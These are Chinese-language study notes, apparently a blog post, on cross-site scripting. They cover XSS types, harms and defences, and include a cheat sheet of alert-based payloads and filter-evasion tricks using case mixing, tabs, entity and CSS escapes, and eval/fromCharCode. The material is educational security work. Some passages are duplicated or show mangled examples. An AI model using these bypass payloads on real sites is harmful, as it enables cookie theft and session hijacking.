xss与csrf
xss原理
跨网站脚本(Cross-site scripting,简称XSS) 又称为跨站脚本攻击,它是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。XSS允许恶意用户将代码注入网页,其他用户在浏览网页时就会执行其中的恶意代码。恶意用户利用XSS代码攻击成功后,可能得到很高的权限(执行操作)、私密网页内容、会话和Cookie等各种内容。与XSS相关的攻击类型包括Cookie窃取、会话劫持、钓鱼欺骗等,这类攻击通常包含了HTML以及用户端脚本语言
xss分类
-
反射型
- 主要用于恶意脚本附加到URL地址的参数中。它需要欺骗用户自己去点击链接才能触发XSS代码,一般容易出现在搜索页面、输入框、URL参数处。反射型XSS大多数是用来盗取用户的Cookie信息。
- 常见攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
-
储存型
-
存储型XSS又称为持久型跨站脚本,比反射型XSS更具威胁性,并且可能影响到Web服务器自身安全,因为攻击脚本可以被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。
-
存储型XSS的代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。存储型XSS一般出现在、评论、博客日志等用户交互处,这种XSS比较危险,容易造成蠕虫、盗窃cookie等
-
常见攻击方法:该攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本就会在他们的浏览器中执行相关操作
-
-
dom型
-
什么是dom?常见攻击方法:该攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本就会在他们的浏览器中执行相关操作
-
DOM-XSS漏洞是基于文档对象模型的一种漏洞,不经过后端,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS
-
常用攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞
-
漏洞存在的主要原因
- 参数输入未经过安全过滤
- 恶意脚本被输出到网页
- 用户的浏览器执行了恶意脚本
xss危害
-
网络钓鱼,包括盗取各类用户账号
-
窃取用户Cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作
-
劫持用户浏览器会话,从而执行任意 操作,例如进行非法转账、强制发表日志、发送电子邮件等
-
强制弹出广告页面、恶意刷流量等
-
网站挂马进行恶意操作,例如任意篡改页面信息、非法获取网站信息、删除文件等
-
进行大量的客户端攻击,例如DDOS攻击、传播跨站脚本蠕虫等
-
获取用户端信息 ,例如用户的浏览记录、真实IP地址、开放的端口等
-
结合其他漏洞,例如CSRF漏洞,实施进一步作恶
xss-labs
https://www.cnblogs.com/zjhzjhhh/p/14192728.html
xss构造
- 基本方式,利用尖括号插入js中
通过<script>标签就能任意插入由JavaScript或VBScript编写的恶意脚本代码
常用:
<script>alert(/xss/)</script>
- 利用HTML标签属性值执行XSS
通过javascript:[code]伪协议形式编写恶意脚本
常用:
<table background="javascript:alert(/xss/)"></table>
<img src="javascript:alert('xss');" >
- 空格回车Tab绕过过滤
注意javas和cript之间的间隔不是由空格键添加的,而是用Tab键添加的。
<img src="javas cript:alert(/xss/)" width=100>
使用回车分隔:
<img src="javas
cript:
alert(/xss/)" width=100>
- 对标签属性值进行转码
<img src="javascript:alert('xss');">
替换成:
<img src="javascript:alert('xss');">
其中,t的ASCII码值为116,用”t”表示,:则表示:。
再进一步替换:
<img src="javascript:alert('xss');">
- 产生事件如click、mouseover、load等
onclick="alert('xss')"
'onfocus=javascript:alert('xss') >
'onmouseover=javascript:alert(1) >
- 利用CSS跨站过滤
<div style="background-image:url(javascript:alert('xss'))">
<style>
body {background-image:url("javascript:alert(/xss/)");}
</style>
<div style="width:expression(alert('XSS'));">
<img src="#" style="xss:expression(alert(/xss/));">
<style>
body {background-image: expression(alert("xss"));}
</style>
<div style="list-style-image:url(javascript:alert('XSS'));">
<div style="background-image:url(javascript:alert('XSS'));">
<img src=" javascript:alert('xss')">
<style>
@import 'javascript:alert(/xss/)';
</style>
- XSS过滤规则
一个正常的XSS输入:
<img src="javascript:alert(0);">
转换大小写后的XSS:
<IMG SRC="javascript:alert(0);">
大小写混淆的XSS:
<iMg sRC="JaVasCript:alert(0);">
不用双引号,而是使用单引号的XSS:
<img src='javascript:alert(0);'>
不适用引号的XSS:
<img src=javascript:alert(0);>
不需要空格的XSS:
<img/src="javascript:alert('xss');">
构造不同的全角字符:
<div style="{left:expression(alert('xss'))">
利用注释符
<div style="wid/**/th:expre/*xss*/ssion(alert('xss'));">
\和\0–
<style>
@imp\0ort 'java\0scri\pt:alert(/xss/)';
</style>
<style>
@imp\ort 'ja\0va\00sc\000ri\0000pt:alert(/xss/)';
</style>
CSS关键字转码
<div style="xss:\65xpression(alert('XSS'));">
<div style="xss:\065xpression(alert('XSS'));">
<div style="xss:\0065xpression(alert('XSS'));">
<!--<img src="--><img src=x οnerrοr=alert(1)//">
<comment><img src="</comment><img src=x οnerrοr=alert(1)//">
<style><img src=“</style><img src=x onerror=alert(1)//”>
- 利用字符编码
原始语句:
<img src="javascript:alert('xss');">
unicode编码
十进制
base64
十六进制
- 利用字符编码eval()函数、eval()和string.fromCharCode()函数过滤
<script>
eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29");
</script>
<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))" >
xss防御
xs通常是插入到各种标签中,或者标签的属性中,css等,可以根据插入位置进行防御。
- 输入过滤
输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当的内容提交,阻止或者忽略除此外的其他任何数据。如下代码,检查用户输入的电话号码是否真确。
-
输出编码
对输入的用户信息进行编码,可以确保浏览器安全处理可能存在恶意字符,将其当做HTMl文档的内容而非结构加以处理。 -
标签黑白名单过滤
直接对输入的信息进行黑白名单过滤,简单粗暴。 -
代码实体转义
对尖括号,大括号之类的进行转义,输出以后就作为一个字符,无法执行标签。 -
httponly
通俗的讲,httponly就是在cookie中设置了个属性,通过js代码无法读取到cookie信息,有效防止xss